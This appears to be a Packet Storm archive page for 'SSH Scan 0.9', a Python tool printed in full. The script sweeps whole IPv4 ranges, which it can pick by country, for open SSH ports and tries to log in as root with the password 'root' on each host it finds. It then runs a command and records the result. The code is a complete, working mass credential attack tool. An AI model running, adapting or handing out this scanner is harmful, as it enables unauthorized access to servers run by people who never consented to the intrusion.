exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

SSH Scan 0.9

SSH Scan 0.9
Posted Nov 28, 2012
Authored by Weston Henry | Site github.com

sshscan is a horizontal SSH scanner that scans large swaths of IPv4 space for a single SSH user and pass. It uses iplist.txt as the input of IP addresses in the form of X.X.X.X, X.X.X.X/XX, X.X.X.X-X.X.X.X, or X.X.X.X-X with X-X in any octet.

tags | tool, scanner
systems | unix
SHA-256 | a4091d1867acb30417cfb6d1f117763ad5ee9ac54bf8dec47433e19b57fc8de8

SSH Scan 0.9

Change Mirror Download
#!/usr/bin/env python

# sshscan.py 0.9 - Horizontal SSH scanner
# by dual (whenry)
#
# sshscan.py is a horizontal SSH scanner that scans large
# swaths of IPv4 space for a single SSH user and pass. It
# uses iplist.txt as the input of IP addresses in the form
# of X.X.X.X, X.X.X.X/XX, X.X.X.X-X.X.X.X, or X.X.X.X-X with
# X-X in any octect.
#
# Usage: python -u sshscan.py
#
# IP country database:
# http://geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip
#
# #!/bin/bash
# grep -i "$1" GeoIPCountryWhois.csv | awk -F, '{print $1"-"$2}' | sed -e 's/"//g' > iplist.txt
#
# checkServer function by Brad Peters - brad (at) endperform (dot) org
# ipRange function from http://cmikavac.net/2011/09/11/how-to-generate-an-ip-range-list-in-python/
#
# SSH with pexpect example:
# http://linux.byexamples.com/archives/346/python-how-to-access-ssh-with-pexpect/
#
# ----------------------------------------------------------------------------
# "THE BEER-WARE LICENSE" (Revision 42):
# dual (@getdual) wrote gallerycgi. As long as you retain this notice you
# can do whatever you want with this stuff. If we meet some day, and you think
# this stuff is worth it, you can buy me a beer in return. dual
# ----------------------------------------------------------------------------

import datetime, netaddr, os, pexpect, random, re, socket, sys

# Define connection string, user, and pass
CNNX = 'Are you sure you want to continue connecting'
USER = 'root'
PASS = 'root'

# Convert an IP range into start and end IPs
def rangeStr(testip):
start_ip = []
end_ip = []

matchAll = re.search('(\d{1,3}\-\d{1,3}|\d{1,3})\.(\d{1,3}\-\d{1,3}|\d{1,3})\.(\d{1,3}\-\d{1,3}|\d{1,3})\.(\d{1,3}\-\d{1,3}|\d{1,3})', testip)

for i in range(1, 5):
matchRange = re.search('(\d{1,3})\-(\d{1,3})', matchAll.group(i))
if matchRange:
start_ip.append(matchRange.group(1))
end_ip.append(matchRange.group(2))
else:
start_ip.append(matchAll.group(i))
end_ip.append(matchAll.group(i))

start_ip_str = ".".join(map(str, start_ip))
end_ip_str = ".".join(map(str, end_ip))

return start_ip_str, end_ip_str

# Generate an IP list given the first and last IPs
def ipRange(start_ip, end_ip):
start = list(map(int, start_ip.split(".")))
end = list(map(int, end_ip.split(".")))
temp = start
ip_range = []

ip_range.append(start_ip)
while temp != end:
start[3] += 1
for i in (3, 2, 1):
if temp[i] == 256:
temp[i] = 0
temp[i-1] += 1
ip_range.append(".".join(map(str, temp)))

return ip_range

# Checks the SSH port
def checkServer(ip_from_list):
serverSocket = socket.socket()
serverSocket.settimeout(0.5)
try:
serverSocket.connect((ip_from_list, 22))
except socket.error:
return 1

# Attempt to connect to SSH
def cnnxAttempt(target):
child = pexpect.spawn('ssh %s@%s uname -a' % (USER, target))

try:
i = child.expect([CNNX, '[Pp]assword: ', pexpect.EOF])
if i == 0:
print "Sending 'yes'..."
child.sendline('yes')
i = child.expect([CNNX, '[Pp]assword: ', pexpect.EOF])
if i == 1:
print "Sending password...",
child.sendline(PASS)
child.expect(pexpect.EOF, timeout=5)
elif i == 2:
print "Connection failed"
pass

# Print output
print child.before
output.write(child.before)

except:
print "Unexpected error:", sys.exc_info()[0]

# Get date for output file
today = datetime.datetime.now()
date = today.strftime("%Y%m%dT%H%M")
output_filename = 'sshscan-output-' + date + '.txt'

input = open('iplist.txt', 'r')
output = open(output_filename, 'w')

# Randomize lines in input file
rand_lines = input.readlines()
random.shuffle(rand_lines)

# Get total number of lines
total_lines = len(rand_lines)
count_lines = 0

# Iterate through IPs and check SSH
for line in rand_lines:
count_lines += 1

newline = line.strip()

match_comments = re.search('^#', newline)
if match_comments:
continue

match_ip = re.search('^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', newline)
if match_ip:
# If status is defined, we know the connection failed
status = checkServer(newline)
if status:
print "%d/%d \tHost: %s \tPort: 22/closed" % (count_lines, total_lines, newline)
else:
print "%d/%d \tHost: %s \tPort: 22/open" % (count_lines, total_lines, newline)
output.write('Host: ' + newline + '\tPort: 22/open\n')
cnnxAttempt(newline)

match_cidr = re.search('\/\d{1,2}$', newline)
if match_cidr:
# Randomize lines in netblocks
ip_list = netaddr.IPNetwork(newline)
rand_ip_list = list(ip_list)
random.shuffle(rand_ip_list)

# Get total number of IPs
total_ips = len(rand_ip_list)
count_ips = 0

for ip in rand_ip_list:
count_ips += 1

# Don't scan network and broadcast addresses
match_badip = re.search('\.(0|255)$', str(ip))
if match_badip:
continue
# If status is defined, we know the connection failed
status = checkServer(str(ip))
if status:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/closed" % (count_lines, total_lines, count_ips, total_ips, str(ip))
else:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/open" % (count_lines, total_lines, count_ips, total_ips, str(ip))
output.write('Host: ' + str(ip) + '\tPort: 22/open\n')
cnnxAttempt(str(ip))

match_dash = re.search('\d-\d', newline)
if match_dash:
match_whole = re.search('(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})-(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', newline)
if match_whole:
ip_list = ipRange(match_whole.group(1), match_whole.group(2))

rand_ip_list = list(ip_list)
random.shuffle(rand_ip_list)

# Get total number of IPs
total_ips = len(rand_ip_list)
count_ips = 0

for ip in rand_ip_list:
count_ips += 1

# Don't scan network and broadcast addresses
match_badip = re.search('\.0|255$', str(ip))
if match_badip:
continue
# If status is defined, we know the connection failed
status = checkServer(str(ip))
if status:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/closed" % (count_lines, total_lines, count_ips, total_ips, str(ip))
else:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/open" % (count_lines, total_lines, count_ips, total_ips, str(ip))
output.write('Host: ' + str(ip) + '\tPort: 22/open\n')
cnnxAttempt(str(ip))

else:
first_ip, last_ip = rangeStr(newline)
ip_list = ipRange(first_ip, last_ip)

rand_ip_list = list(ip_list)
random.shuffle(rand_ip_list)

# Get total number of IPs
total_ips = len(rand_ip_list)
count_ips = 0

for ip in rand_ip_list:
count_ips += 1

# Don't scan network and broadcast addresses
match_badip = re.search('\.0|255$', str(ip))
if match_badip:
continue
# If status is defined, we know the connection failed
status = checkServer(str(ip))
if status:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/closed" % (count_lines, total_lines, count_ips, total_ips, str(ip))
else:
print "%d/%d (%d/%d) \tHost: %s \tPort: 22/open" % (count_lines, total_lines, count_ips, total_ips, str(ip))
output.write('Host: ' + str(ip) + '\tPort: 22/open\n')
cnnxAttempt(str(ip))

output.close()
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close